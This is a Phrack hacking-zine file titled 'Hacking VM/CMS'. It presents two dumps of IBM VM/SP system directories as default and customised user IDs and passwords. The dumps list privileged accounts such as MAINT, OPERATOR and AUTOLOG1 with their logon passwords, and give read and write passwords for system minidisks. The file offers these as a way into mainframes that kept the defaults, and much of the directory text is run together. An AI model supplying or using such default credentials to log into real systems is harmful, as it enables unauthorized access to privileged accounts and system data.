AOH :: P30-04.TXT

Hacking VM/CMS


				==Phrack Inc.==

		     Volume Three, Issue 30, File #4 of 12


		     /===================================\
		     |					 |
		     |		Hacking VM/CMS		 |
		     |					 |
		     |					 |
		     |		    by Goe		 |
		     |					 |
		     \===================================/


This file written by Goe (my nickname).  Any comments or criticisms or
corrections are welcomed.  Anyone with a good knowledge can modify this.

The article's topic is the IBM VM/SP running CMS and using DIRMAINT.  I do not
know if it works in MVS/TSO or VSE.

The first table contains the original default IDs & passwords from IBM Corp.

The second table contains those default IDs & passwords that IBM customized for
its customer.

===============================================================================

***************************************************************
*  3380      SYSTEM DIRECTORY				      *
***************************************************************
*							      *
*      The addresses 123, 124, and 125 are virtual ad-	      *
*      dresses.  The address 123 is critical since it is      *
*      used in DMKSYS, the directory, and the service en-     *
*      vironments of the Interactive Productivity Facil-      *
*      ity.  Do not change this address.  If you still want   *
*      to change it, remember it must be changed in	      *
*      DMKSYS, all service environments, the 'DIRECTORY'      *
*      statement below, and in the 'MDISK' statements         *
*      found under the userid  'MAINT'.                       *
*							      *
*      NOTE:  Remember these are only virtual addresses       *
*      not real addresses, so there is no need to change      *
*      them to match your hardware addresses.  More in-       *
*      formation is contained in the system Installation      *
*      Guide.						      *
*							      *
***************************************************************
* DIRECTORY 123  3380  VMSRES				      *
***************************************************************
*      3380  SYSTEM RESERVED AREAS (NOT FOR MINIDISKS)	      *
***************************************************************
* USER $ALLOC$	NOLOG  MDISK A01 3380 000 001 VMSRES R
  MDISK B01 3380 000 001 VMPK01 R  MDISK E01 3380 000 001 VMPK04 R
  MDISK F11 3380 000 001 PROFPK R
  MDISK F21 3380 000 001 SQLPK	R
* USER $TEMP$	NOLOG  MDISK A09 3380 272 228 VMSRES R
  MDISK D09 3380 277 258 VMPK01
* USER $TDISK$ NOLOG  MDISK A08 3380 585 091 VMSRES R
* USER $CPNUC$ NOLOG  MDISK A02 3380 001 005 VMSRES R
* USER $DIRECT$ NOLOG  MDISK A03 3380 500 002 VMSRES R
* USER $SAVSYS$ NOLOG  MDISK A04 3380 006 011 VMSRES R
  MDISK B04 3380 012 056 VMPK01 R
* USER $SYSERR$ NOLOG  MDISK A06 3380 019 002 VMSRES R
* USER $SYSCKP$ NOLOG  MDISK A05 3380 271 001 VMSRES R
* USER $SYSWRM$ NOLOG  MDISK A07 3380 017 002 VMSRES R *
***************************************************************
*	      SYSTEM RELATED USERIDS			      *
***************************************************************
* USER AUTOLOG1 NOLOG 512K 1M ABCDEG
  ACCOUNT 2 SYSTEM
  IPL CMS PARM AUTOCR
  CONSOLE 009 3215
  SPOOL 00C 2540 READER
* SPOOL 00D 2540 PUNCH
  A  SPOOL 00E 1403 A
  LINK MAINT 190 190 RR
  LINK MAINT 19D 19D RR
  LINK MAINT 19E 19E RR
  MDISK 191 3380 093 001
  VMPK01 MR RAUTOLOG WAUTOLOG MAUTOLOG
* USER CMSBATCH NOLOG 1M 2M G
  ACCOUNT 3 SYSTEM
  OPTION ACCT
  IPL CMS PARM AUTOCR
  CONSOLE 009 3215
  SPOOL 00C 2540 READER
* SPOOL 00D 2540 PUNCH
  A  SPOOL 00E 1403 A
  LINK MAINT 190 190 RR
  MDISK 195 3380 068 002 VMPK01 MR RBATCH
  WBATCH   MBATCH * USER CMSUSER NOLOG 1M 3M G
  ACCOUNT 101 USER01
  IPL CMS
  CONSOLE 009 3215
  SPOOL 00C 2540 READER
* SPOOL 00D 2540 PUNCH
  A  SPOOL 00E 1403
  A  LINK MAINT 190 190 RR
  LINK MAINT 19D 19D RR
  LINK MAINT 19E 19E RR
  MDISK 191 3380 089 003 VMPK01 MR RCMS
     WCMS
     MCMS
* USER EREP NOLOG 768K 2M FG
  ACCOUNT EREP IBMCE  IPL CMS
  CONSOLE 01F 3215  SPOOL 00C 2540 READER
* SPOOL 00D 2540 PUNCH A  SPOOL 00E 1403 A
  LINK MAINT 190 190 RR  LINK MAINT 19D 19D RR
  LINK MAINT 19E 19E RR  LINK MAINT 201 192 RR
  MDISK 191 3380 027 001 VMSRES WR READ  WRITE
* USER GCS  NOLOG  5M 6M  G  ACCOUNT GCS RECVM	OPTION ECMODE DIAG98  IPL GCS
PARM AUTOLOG  CONSOLE 009 3215	SPOOL 00C 2540 READER *  SPOOL 00D 2540 PUNCH
A  SPOOL 00E 1403 A  LINK MAINT 190 190 RR  LINK MAINT 19D 19D RR  LINK MAINT
595 595 RR  LINK MAINT 59E 59E RR  MDISK 191 3380 677 005 VMPK01 MR RGCS
WGCS	 MGCS * USER IVPM1 NOLOG 3M   16M G  ACCOUNT ACT4 IVPM1  CONSOLE 009
3210  SPOOL 00C 2540 READER *  SPOOL 00D 2540 PUNCH A  SPOOL 00E 1403 A  LINK
MAINT 190 190 RR  LINK MAINT 193 193 RR  LINK MAINT 194 194 RR	LINK MAINT 19D
19D RR	MDISK 191 3380 883 001 VMSRES WR READ	  WRITE * USER IVPM2 NOLOG
3M   4M G  ACCOUNT ACT5 IVPM2  CONSOLE 009 3210  SPOOL 00C 2540 READER *  SPOOL
00D 2540 PUNCH A  SPOOL 00E 1403 A  LINK MAINT 190 190 RR  LINK MAINT 193 193
RR  LINK MAINT 194 194 RR  LINK MAINT 19D 19D RR  MDISK 191 3380 884 001 VMSRES
WR READ     WRITE * USER MAINT CPCMS 16M 16M ABCDEFG  ACCOUNT 1 SYSPROG  OPTION
ECMODE DIAG98  IPL 190	CONSOLE 009 3215  SPOOL 00C 2540 READER *  SPOOL 00D
2540 PUNCH  A  SPOOL 00E 1403 A  MDISK 123 3380 000 885 VMSRES MW RSYSRES
WSYSRES  MSYSRES  MDISK 124 3380 000 885 VMPK01 MW RSYSRES  WSYSRES  MSYSRES
MDISK 127 3380 000 885 VMPK04 MW RSYSRES  WSYSRES  MSYSRES  MDISK 129 3380 000
885 PROFPK MW RSYSRES  WSYSRES	MSYSRES  MDISK 130 3380 000 885 SQLPK  MW
RSYSRES  WSYSRES  MSYSRES  MDISK 19D 3380 229 048 VMPK01 MW ALL      WMAINT
MMAINT	MDISK 190 3380 502 037 VMSRES MW ALL	  WMAINT   MMAINT  MDISK 191
3380 144 010 VMSRES MW RMAINT	WMAINT	 MMAINT  MDISK 193 3380 117 027 VMSRES
MW RMAINT   WMAINT   MMAINT  MDISK 194 3380 044 027 VMSRES MW RMAINT   WMAINT
MMAINT	MDISK 196 3380 028 016 VMSRES MW RMAINT   WMAINT   MMAINT  MDISK 201
3380 767 023 VMSRES MW RMAINT	WMAINT	 MMAINT  MDISK 293 3380 790 027 VMSRES
MW RCMSAUX  WCMSAUX  MCMSAUX  MDISK 294 3380 862 021 VMSRES MW RCPAUX
WCPAUX	 MCPAUX  MDISK 295 3380 211 014 VMSRES MW RUSRMOD  WUSRMOD  MUSRMOD
MDISK 296 3380 070 019 VMPK01 MW RCPAUX   WCPAUX   MCPAUX  MDISK 319 3380 021
006 VMSRES MW ALL      WMAINT	MMAINT	MDISK 393 3380 353 063 VMPK04 WR
RMAINT	 WMAINT  MDISK 394 3380 416 076 VMPK04 WR RMAINT   WMAINT  MDISK 396
3380 499 034 VMPK04 WR RMAINT	WMAINT	MDISK 492 3380 664 011 VMPK01 MW
RTSFOBJ  WTSFOBJ  MTSFOBJ  MDISK 494 3380 864 011 VMPK01 MW RTSFAUX  WTSFAUX
MTSFAUX  MDISK 496 3380 092 001 VMPK01 MW RIPCX    WIPCSX   MIPSX  MDISK 497
3380 492 007 VMPK04 MW RMAINT	WMAINT	MDISK 59E 3380 875 010 VMPK01 MW
ALL	 WMAINT   MMAINT  MDISK 595 3380 682 031 VMPK01 MW RMAINT   WMAINT
MMAINT	MDISK 596 3380 713 021 VMPK01 MW RGCSAUX  WGCSAUX  MGCSAUX * USER
OLTSEP NOLOG 1M 1M FG  ACCOUNT OLTSEP IBMCE  OPTION REALTIMER ECMODE  IPL 5FF
CONSOLE 01F 3215  SPOOL 00C 2540 READER *  SPOOL 00D 2540 PUNCH A  SPOOL 00E
1403 A	LINK MAINT 19D 19D RR  MDISK 5FF 3380 000 885 CEPACK MR READ	 WRITE
* USER OPERATNS NOLOG 1M  2M BCEG  ACCOUNT 13 SYSPROG  IPL CMS	CONSOLE 009
3215  SPOOL 00C 2540 READER *  SPOOL 00D 2540 PUNCH  A	SPOOL 00E 1403 A  LINK
MAINT 190 190 RR  LINK MAINT 19D 19D RR  LINK MAINT 19E 19E RR	MDISK 191 3380
154 001 VMSRES MR RIPCS    WIPCS    MIPCS  MDISK 193 3380 201 008 VMSRES MR
RIPCS	 WIPCS	  MIPCS * USER OPERATOR OPERATOR  3M 16M ABCDEFG  ACCOUNT 2
OPERATOR  CONSOLE 009 3215 T MAINT  SPOOL 00C 2540 READER *  SPOOL 00D 2540
PUNCH  A  SPOOL 00E 1403 A  LINK MAINT 190 190 RR  LINK MAINT 19D 19D RR  LINK
MAINT 19E 19E RR  MDISK 191 3380 209 002 VMSRES MR ROPER    WOPER    MOPER *
USER SYSDUMP1 NOLOG 1M 1M BG  ACCOUNT 16 SYSTEM  IPL CMS  CONSOLE 009 3215
SPOOL 00C 2540 READER *  SPOOL 00D 2540 PUNCH A  SPOOL 00E 1403 A  LINK MAINT
190 190 RR  LINK MAINT 19D 19D RR  LINK MAINT 19E 19E RR  MDISK 123 3380 000
885 VMSRES RR  MDISK 124 3380 000 885 VMPK01 RR  MDISK 127 3380 000 885 VMPK04
RR  MDISK 129 3380 000 885 PROFPK RR  MDISK 130 3380 000 885 SQLPK  RR * USER
TSAFVM NOLOG 4M 8M G  ACCOUNT 1 xxxxxx	OPTION MAXCONN 256 BMX ECMODE COMSRV
ACCT CONCEAL REALTIMER	IUCV ALLOW  IUCV *CRM  IPL CMS PARM AUTOCR  CONSOLE 009
3215 A OPERATOR  SPOOL 00C 2540 READER *  SPOOL 00D 2540 PUNCH A  SPOOL 00E
1403 A	LINK MAINT 190 190 RR  LINK MAINT 19D 19D RR  LINK MAINT 19E 19E RR
LINK MAINT 492 192 RR  LINK MAINT 494 494 RR  MDISK 191 3380 675 002 VMPK01 MR
DEDICATE 300 4A0 *

===============================================================================

***************************************************************
*  3380      SYSTEM DIRECTORY				      *
***************************************************************
*							      *
*      The virtual address 123 is critical since it is	      *
*      used in DMKSYS, the directory, and the service en-     *
*      vironments of the Interactive Productivity Facil-      *
*      ity.  Do not change this address.  If you still want   *
*      to change it, remember it must be changed in	      *
*      DMKSYS, all service environments, the 'DIRECTORY'      *
*      statement below, and in the 'MDISK' statements         *
*      found under the userid  'MAINT'.                       *
*							      *
*      NOTE:  Remember these are only virtual addresses       *
*      not real addresses, so there is no need to change      *
*      them to match your hardware addresses.  More in-       *
*      formation is contained in the system Installation      *
*      Guide.						      *
*							      *
***************************************************************
* DIRECTORY 123 3380 VMSRES *
***************************************************************
*    EXPRESS STANDARD PROFILE FOR GENERAL PURPOSE USERIDS     *
***************************************************************
* PROFILE EXPPROF  IPL CMS PARM AUTOCR	CONSOLE 009 3215  SPOOL 00C 2540 READER
*  SPOOL 00D 2540 PUNCH  A  SPOOL 00E 1403 A  LINK MAINT 190 190 RR  LINK MAINT
19D 19D RR  LINK MAINT 19E 19E RR *
***************************************************************
*      3380  SYSTEM RESERVED AREAS (NOT FOR MINIDISKS)	      *
***************************************************************
* USER $ALLOC$	NOLOG  MDISK A01 3380 000 001 VMSRES
R					03131808  MDISK A02 3380 000 001 VMGCS1
R					03131808  MDISK A05 3380 000 001 VMPK01
R					03131808  MDISK A06 3380 000 001 VMSTGE
R					03131808  MDISK A07 3380 000 001 PROFPK
R					03131808  MDISK A08 3380 000 001 SQLPK
R					03131808  MDISK A09 3380 000 001 VMPK02
R					03131808  MDISK A0A 3380 000 001 EDMD01
R					03131808 * USER $TEMP$	 NOLOG	MDISK
B01 3380 392 100 VMSRES R					03131808  MDISK
B02 3380 392 100 VMPK01 R					03131808 * USER
$TDISK$ NOLOG  MDISK C01 3380 358 033 VMSRES
R					03131808  MDISK C02 3380 492 022 VMPK01
R					03131808 * USER $CPNUC$ NOLOG  MDISK
D01 3380 001 005 VMSRES R					03131808 * USER
$DIRECT$ NOLOG	MDISK E01 3380 492 002 VMSRES
R					03131808 * USER $SAVSYS$ NOLOG	MDISK
F01 3380 006 011 VMSRES R					03131808  MDISK
F02 3380 012 060 VMPK01 R					03131808 * USER
$SYSERR$ NOLOG	MDISK F03 3380 019 002 VMSRES
R					03131808 * USER $SYSCKP$ NOLOG	MDISK
F04 3380 391 001 VMSRES R					03131808 * USER
$SYSWRM$ NOLOG	MDISK F05 3380 017 002 VMSRES
R					03131808 *
***************************************************************
*	      SYSTEM RELATED USERIDS			      *
***************************************************************
* USER AUTOLOG1 AUTOLOG1 512K 1M ABCDEG INCLUDE EXPPROF  ACCOUNT 2 SYSTEM
MDISK 191 3380 094 001 VMPK01 MR RAUTOLOG WAUTOLOG MAUTOLOG	      03131808
* USER CMSBATCH CMSBATCH 1M 2M G  ACCOUNT 3 SYSTEM  OPTION ACCT  IPL CMS PARM
AUTOCR	CONSOLE 009 3215  SPOOL 00C 2540 READER *  SPOOL 00D 2540 PUNCH  A
SPOOL 00E 1403 A  LINK MAINT 190 190 RR  MDISK 195 3380 095 002 VMPK01 MR
RBATCH	 WBATCH   MBATCH	     03131808 * USER CMSUSER CMSUSER 1M 3M G
INCLUDE EXPPROF  ACCOUNT 101 USER01  MDISK 191 3380 091 003 VMPK01 MR RCMS
WCMS	 MCMS		    03131808 * USER EREP EREP 768K 2M FG INCLUDE
EXPPROF  ACCOUNT EREP IBMCE  LINK MAINT 201 192 RR  MDISK 191 3380 021 001
VMSRES WR READ	   WRITE		       03131808 * USER GCS  GCS  5M 6M
G  ACCOUNT GCS RECVM  OPTION ECMODE DIAG98  IPL GCS PARM AUTOLOG  CONSOLE 009
3215  SPOOL 00C 2540 READER *  SPOOL 00D 2540 PUNCH  A	SPOOL 00E 1403 A  LINK
MAINT 190 190 RR  LINK MAINT 19D 19D RR  LINK MAINT 595 595 RR	LINK MAINT 59E
59E RR	MDISK 191 3380 514 005 VMPK01 MR RGCS	  WGCS	   MGCS
03131808 * USER IVPM1 IVPM1 3M	 16M G	ACCOUNT ACT4 IVPM1  CONSOLE 009 3210
SPOOL 00C 2540 READER *  SPOOL 00D 2540 PUNCH A  SPOOL 00E 1403 A  LINK MAINT
190 190 RR  LINK MAINT 193 193 RR  LINK MAINT 194 194 RR  LINK MAINT 19D 19D
RR  MDISK 191 3380 868 001 VMSRES WR READ     WRITE
03131808 * USER IVPM2 IVPM2  3M   4M G	ACCOUNT ACT5 IVPM2  CONSOLE 009 3210
SPOOL 00C 2540 READER *  SPOOL 00D 2540 PUNCH A  SPOOL 00E 1403 A  LINK MAINT
190 190 RR  LINK MAINT 193 193 RR  LINK MAINT 194 194 RR  LINK MAINT 19D 19D
RR  MDISK 191 3380 869 001 VMSRES WR READ     WRITE
03131808 * USER MAINT CPCMS 6M 16M ABCDEFG  ACCOUNT 1 SYSPROG  OPTION ECMODE
DIAG98	IPL CMS  IUCV *CCS P M 10  IUCV ANY P M 0  CONSOLE 009 3215  SPOOL 00C
2540 READER *  SPOOL 00D 2540 PUNCH  A	SPOOL 00E 1403 A *  MDISK 123 3380 000
885 VMSRES MW RSYSRES  WSYSRES	MSYSRES 	   03131808  MDISK 124 3380 000
885 VMPK01 MW RSYSRES  WSYSRES	MSYSRES 	   03131808  MDISK 126 3380 000
885 VMSTGE MW RSYSRES  WSYSRES	MSYSRES 	   03131808  MDISK 127 3380 000
885 VMGCS1 MW RSYSRES  WSYSRES	MSYSRES 	   03131808  MDISK 129 3380 000
885 PROFPK MW RSYSRES  WSYSRES	MSYSRES 	   03131808  MDISK 130 3380 000
885 SQLPK  MW RSYSRES  WSYSRES	MSYSRES 	   03131808  MDISK 131 3380 000
885 VMPK02 MW RSYSRES  WSYSRES	MSYSRES 	   03131808 * * 19D - Help
files * 39D - Help files for NLS * 19E - CMS extension disk. Most program
products go here * 190 - CMS nucleus and commands * 191 - MAINT work disk and
system dependent files * 193 - CMS text / IPCS text / GCS interface texts * 194
- CP text files and Maclibs * 196 - HPO text files and Maclibs * 201 - EREP
files * 293 - Aux and update files for CMS service * 294 - Aux and update files
for CP service * 295 - CP/CMS EXPRESS/local service * 296 - HPO aux and update
files for service * 3A0 - IPF online documentation * 300 - VM/IPF system
support, administration and operation dialogs * 301 - IPF VM/VSE feature files
* 31A - Customer procedures and products not from VM/EXPRESS * 310 - Maclibs
for VM/IPF * 319 - Some optional Program Products * 393 - CMS source * 394 - CP
SOURCE * 396 - HPO source * 492 - TSAF * 494 - TSAF * 496 - IPCS service files
* 497 - IPCS source files * 59E - GCS System disk extension * 595 - GCS object
code * 596 - GCS service files *  MDISK 19D 3380 308 025 VMSRES MW ALL
WMAINT	 MMAINT 	    03131808  MDISK 39D 3380 333 025 VMSRES MW ALL
WMAINT	 MMAINT 	    03131808  MDISK 19E 3380 245 147 VMPK01 MR RMAINT
WMAINT	 MMAINT 	    03131808  MDISK 190 3380 494 037 VMSRES MW ALL
WMAINT	 MMAINT 	    03131808  MDISK 191 3380 088 010 VMSRES MW RMAINT
WMAINT	 MMAINT 	    03131808  MDISK 193 3380 061 027 VMSRES MW RMAINT
WMAINT	 MMAINT 	    03131808  MDISK 194 3380 022 027 VMSRES MW RMAINT
WMAINT	 MMAINT 	    03131808  MDISK 196 3380 684 016 VMSRES MW RMAINT
WMAINT	 MMAINT 	    03131808  MDISK 201 3380 567 023 VMSRES MW RMAINT
WMAINT	 MMAINT 	    03131808  MDISK 293 3380 590 027 VMSRES MW RCMSAUX
WCMSAUX  MCMSAUX	    03131808  MDISK 294 3380 663 021 VMSRES MW RCPAUX
WCPAUX	 MCPAUX 	    03131808  MDISK 295 3380 531 014 VMSRES MW RUSRMOD
WUSRMOD  MUSRMOD	    03131808  MDISK 296 3380 072 019 VMPK01 MW RCPAUX
WCPAUX	 MCPAUX 	    03131808  MDISK 3A0 3380 128 001 VMPK01 MR ALL
WMAINT	 MMAINT 	    03131808  MDISK 300 3380 097 015 VMPK01 MR ALL
WMAINT	 MMAINT 	    03131808 *MDISK 301 3380 001 049 EDMD01 MW ALL
WMAINT	 MMAINT 	    03131808  MDISK 31A 3380 870 003 VMSRES MW ALL
WMAINT	 MMAINT 	    03131808  MDISK 310 3380 112 016 VMPK01 MR ALL
WMAINT	 MMAINT 	    03131808  MDISK 319 3380 617 015 VMSRES MW ALL
WMAINT	 MMAINT 	    03131808  MDISK 393 3380 001 063 VMSTGE WR RMAINT
WMAINT			    03131808  MDISK 394 3380 064 076 VMSTGE WR RMAINT
WMAINT			    03131808  MDISK 396 3380 147 034 VMSTGE WR RMAINT
WMAINT			    03131808  MDISK 492 3380 195 011 VMPK01 MW RTSFOBJ
WTSFOBJ  MTSFOBJ	    03131808  MDISK 494 3380 721 011 VMSRES MW RTSFAUX
WTSFAUX  MTSFAUX	    03131808  MDISK 496 3380 782 001 VMPK01 MW RIPCX
WIPCSX	 MIPSX		    03131808  MDISK 497 3380 140 007 VMSTGE MW RMAINT
WMAINT			    03131808  MDISK 59E 3380 181 010 VMPK01 MW ALL
WMAINT	 MMAINT 	    03131808  MDISK 595 3380 214 031 VMPK01 MW RMAINT
WMAINT	 MMAINT 	    03131808  MDISK 596 3380 700 021 VMSRES MW RGCSAUX
WGCSAUX  MGCSAUX	    03131808 * * 29E - 5748-RC1 (PVM) - 5748-XP1 (RSCS
V1) - Update files * 36E - 5748-RC1 PVM 191 disk * 39E - 5748-RC1 (PVM) -
5748-XP1 (RSCS V1) - Source files * 49E - 5748-RC1 (PVM) - 5748-XP1 (RSCS V1) -
Text files *  MDISK 29E 3380 785 007 VMPK01 MR RMAINT	WMAINT
MMAINT		   03131808  MDISK 36E 3380 563 004 VMSRES RR RMAINT   WMAINT
MMAINT		   03131808  MDISK 39E 3380 181 045 VMSTGE WR RMAINT
WMAINT			    03131808  MDISK 49E 3380 792 007 VMPK01 MR RMAINT
WMAINT	 MMAINT 	    03131808 * * 348 - EP - ACF/NCP - NETVIEW -
ACF/VTAM - ACF/SSP (VMFPARM DISK) *  MDISK 348 3380 001 002 VMGCS1 MR RMAINT
WMAINT	 MMAINT 	    03131808 * * 298 - 5664-280 VTAM 191 * 299 -
5664-280 VTAM Base disk * 29A - 5664-280 VTAM Run disk * 29B - 5664-280 VTAM
Merge disk * 29C - 5664-280 VTAM Zap disk * 29D - 5664-280 VTAM Delta disk *
MDISK 298 3380 005 009 VMGCS1 WR RMAINT   WMAINT   MMAINT	      03131808
MDISK 299 3380 200 024 VMGCS1 WR RMAINT   WMAINT   MMAINT	      03131808
MDISK 29A 3380 156 010 VMGCS1 WR RMAINT   WMAINT   MMAINT	      03131808
MDISK 29B 3380 224 020 VMGCS1 WR RMAINT   WMAINT   MMAINT	      03131808
MDISK 29C 3380 244 005 VMGCS1 WR RMAINT   WMAINT   MMAINT	      03131808
MDISK 29D 3380 860 020 VMGCS1 MR RMAINT   WMAINT   MMAINT	      03131808
* * 33F - 5664-289 ACF/SSP Base disk * 340 - 5664-289 ACF/SSP Delta disk * 341
- 5664-289 ACF/SSP Merge disk * 342 - 5664-289 ACF/SSP Zap disk * 343 -
5664-289 ACF/SSP Run disk *  MDISK 33F 3380 687 048 VMGCS1 MR RMAINT   WMAINT
MMAINT		   03131808  MDISK 340 3380 830 010 VMGCS1 MR RMAINT   WMAINT
MMAINT		   03131808  MDISK 341 3380 840 020 VMGCS1 MR RMAINT   WMAINT
MMAINT		   03131808  MDISK 342 3380 249 010 VMGCS1 WR RMAINT   WMAINT
MMAINT		   03131808  MDISK 343 3380 110 046 VMGCS1 MR RMAINT   WMAINT
MMAINT		   03131808 * * 352 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Base
disk * 353 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Delta disk * 354 - 5735-XXB
(EP) - 5668-854 (ACF/NCP) Merge disk * 355 - 5735-XXB (EP) - 5668-854 (ACF/NCP)
Run disk * 356 - 5735-XXB (EP) - 5668-854 (ACF/NCP) Zap disk *	MDISK 352 3380
259 066 VMGCS1 WR RMAINT   WMAINT   MMAINT	       03131808  MDISK 353 3380
325 010 VMGCS1 WR RMAINT   WMAINT   MMAINT	       03131808  MDISK 354 3380
335 020 VMGCS1 WR RMAINT   WMAINT   MMAINT	       03131808  MDISK 355 3380
355 088 VMGCS1 WR RMAINT   WMAINT   MMAINT	       03131808  MDISK 356 3380
443 010 VMGCS1 WR RMAINT   WMAINT   MMAINT	       03131808 * * 349 -
5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) VMFPARM DISK * 357 -
5735-XXB (EP) - 5668-754 (ACF/NCP subset for 3720) Base disk * 358 - 5735-XXB
(EP) - 5668-754 (ACF/NCP subset for 3720) Delta disk * 359 - 5735-XXB (EP) -
5668-754 (ACF/NCP subset for 3720) Merge disk * 35A - 5735-XXB (EP) - 5668-754
(ACF/NCP subset for 3720) Zap disk * 35B - 5735-XXB (EP) - 5668-754 (ACF/NCP
subset for 3720) Run disk *  MDISK 349 3380 003 002 VMGCS1 MR RMAINT   WMAINT
MMAINT		   03131808  MDISK 357 3380 453 066 VMGCS1 WR RMAINT   WMAINT
MMAINT		   03131808  MDISK 358 3380 519 010 VMGCS1 WR RMAINT   WMAINT
MMAINT		   03131808  MDISK 359 3380 529 020 VMGCS1 WR RMAINT   WMAINT
MMAINT		   03131808  MDISK 35A 3380 637 010 VMGCS1 WR RMAINT   WMAINT
MMAINT		   03131808  MDISK 35B 3380 549 088 VMGCS1 WR RMAINT   WMAINT
MMAINT		   03131808 * * 330 - 5664-204 NETVIEW Base disk * 331 -
5664-204 NETVIEW Delta disk * 332 - 5664-204 NETVIEW Merge disk * 333 -
5664-204 NETVIEW Zap disk * 334 - 5664-204 NETVIEW Run disk *  MDISK 330 3380
735 095 VMGCS1 WR RMAINT   WMAINT   MMAINT	       03131808  MDISK 331 3380
647 010 VMGCS1 WR RMAINT   WMAINT   MMAINT	       03131808  MDISK 332 3380
657 020 VMGCS1 WR RMAINT   WMAINT   MMAINT	       03131808  MDISK 333 3380
677 010 VMGCS1 WR RMAINT   WMAINT   MMAINT	       03131808  MDISK 334 3380
014 096 VMGCS1 WR RMAINT   WMAINT   MMAINT	       03131808 * * 29F -
5664-188 RSCSV2 Update files * 39F - 5664-188 RSCSV2 User exits disk * 49F -
5664-188 RSCSV2 Text disk * 59F - 5664-188 RSCSV2 191 disk *  MDISK 29F 3380
129 004 VMPK01 MR RMAINT   WMAINT   MMAINT	       03131808  MDISK 39F 3380
799 004 VMPK01 MR RMAINT   WMAINT   MMAINT	       03131808  MDISK 49F 3380
803 010 VMPK01 MR RMAINT   WMAINT   MMAINT	       03131808  MDISK 59F 3380
208 006 VMPK01 MR RMAINT   WMAINT   MMAINT	       03131808 * * 322 -
5664-283 VM/IS * 326 - 5664-283 VM/IS * 34A - 5668-905 Graphical Display and
Query Facility (GDQF) * 346 - 5668-AAA Query Management Facility (QMF) * 347 -
5668-AAA Query Management Facility (QMF) * 360 - 5664-329 Contextual File
Search (CFSearch/370) * 361 - 5664-370 Display Write/370 * 363 - 5668-890 Font
Library Service Facility (FLSF) *  MDISK 322 3380 734 007 VMPK01 MR RMAINT
WMAINT	 MMAINT 	    03131808  MDISK 326 3380 166 010 VMPK01 MR RMAINT
WMAINT	 MMAINT 	    03131808  MDISK 34A 3380 164 052 VMSRES MR RMAINT
WMAINT	 MMAINT 	    03131808  MDISK 346 3380 207 013 SQLPK  MR RMAINT
WMAINT	 MMAINT 	    03131808  MDISK 347 3380 220 023 SQLPK  MR RMAINT
WMAINT	 MMAINT 	    03131808  MDISK 360 3380 216 040 VMSRES MR RMAINT
WMAINT	 MMAINT 	    03131808  MDISK 361 3380 768 027 VMSRES MR RMAINT
WMAINT	 MMAINT 	    03131808  MDISK 363 3380 795 009 VMSRES MR RMAINT
WMAINT	 MMAINT 	    03131808 * USER OPERATNS OPERATNS 1M  2M BCEG
INCLUDE EXPPROF  ACCOUNT 13 SYSPROG  LINK MAINT 300 300 RR  LINK MAINT 193 192
RR  MDISK 191 3380 547 001 VMSRES MR RIPCS    WIPCS    MIPCS
03131808  MDISK 193 3380 256 008 VMSRES MR RIPCS    WIPCS    MIPCS
03131808 * USER OPERATOR OPERATOR  3M 16M ABCDEFG  ACCOUNT 2 OPERATOR  IPL CMS
PARM AUTOCR  CONSOLE 009 3215 T MAINT  SPOOL 00C 2540 READER *	SPOOL 00D 2540
PUNCH  A  SPOOL 00E 1403 A  LINK MAINT 190 190 RR  LINK MAINT 19D 19D RR  LINK
MAINT 19E 19E RR  LINK MAINT 300 300 RR  MDISK 191 3380 545 002 VMSRES MR
ROPER	 WOPER	  MOPER 	     03131808 * USER SYSDUMP1 SYSDUMP1 1M 1M BG
INCLUDE EXPPROF  ACCOUNT 16 SYSTEM  LINK MAINT 300 300 RR  MDISK 123 3380 000
885 VMSRES RR					   03131808  MDISK 124 3380 000
885 VMPK01 RR					   03131808  MDISK 126 3380 000
885 VMSTGE RR					   03131808  MDISK 127 3380 000
885 VMGCS1 RR					   03131808  MDISK 129 3380 000
885 PROFPK RR					   03131808  MDISK 130 3380 000
885 SQLPK  RR					   03131808  MDISK 131 3380 000
885 VMPK02 RR					   03131808  MDISK 191 3380 133
001 VMPK01 MR RSYSDUMP WSYSDUMP MSYSDUMP	   03131808 * USER TSAFVM
TSAFVM 4M 8M G	ACCOUNT 1 XXXXXX  OPTION MAXCONN 256 BMX ECMODE COMSRV ACCT
CONCEAL REALTIMER  IUCV ALLOW  IUCV *CRM  IPL CMS PARM AUTOCR  CONSOLE 009 3215
A OPERATOR  SPOOL 00C 2540 READER *  SPOOL 00D 2540 PUNCH  A  SPOOL 00E 1403 A
LINK MAINT 190 190 RR  LINK MAINT 19D 19D RR  LINK MAINT 19E 19E RR  LINK MAINT
492 192 RR  LINK MAINT 494 494 RR *DEDICATE 300 4A0  MDISK 191 3380 206 002
VMPK01 MR				       03131808 * USER VSEMAINT
VSEMAINT 1M 4M BG INCLUDE EXPPROF  ACCOUNT 211 DOSSYS  LINK MAINT 300 300 RR
*LINK MAINT 301 301 RR	MDISK 191 3380 632 004 VMSRES MR RVSEMAIN WVSEMAIN
MVSEMAIN	   03131808 * USER VSEIPO VSEIPO  16M 16M G * * SAMPLE USERID
TO RUN VSE/EXPRESS/IPO *  ACCOUNT 203 VSEIPO  IPL 224 *OPTION ECMODE BMX
REALTIMER VIRT=REAL MAXCONN 050 STF  370E  OPTION ECMODE BMX REALTIMER	MAXCONN
050  IUCV *CCS PRIORITY MSGLIMIT 050  CONSOLE 01F 3270	SPECIAL 401 3270
SPECIAL 402 3270  SPECIAL 403 3270  SPECIAL 404 3270  SPECIAL 405 3270	SPECIAL
406 3270  SPECIAL 407 3270  SPECIAL 408 3270  SPECIAL 409 3270	SPECIAL 40A
3270  SPECIAL 40B 3270	SPECIAL 40C 3270  SPECIAL 40D 3270  SPECIAL 40E 3270
SPECIAL 40F 3270  SPECIAL 410 3270  SPECIAL 411 3270  SPECIAL 412 3270	SPECIAL
413 3270  SPECIAL 414 3270  SPECIAL 415 3270  SPECIAL 416 3270	SPECIAL 417
3270  SPECIAL 418 3270	SPECIAL 419 3270  SPECIAL 41A 3270  SPECIAL 41B 3270
SPECIAL 41C 3270  SPECIAL 41D 3270  SPECIAL 41E 3270  SPECIAL 41F 3270	SPOOL
00C 3505 A  SPOOL 00D 3525 A  SPOOL 00E 3203 A	SPOOL 05D 3525 A  SPOOL 05E
1403 A	DEDICATE  300  400  DEDICATE  080  080	LINK MAINT 190 190 RR  LINK
MAINT 19E 19E RR  LINK VSEMAINT 191 191 RR * 3380 SYSTEM *MDISK 150 3380 000
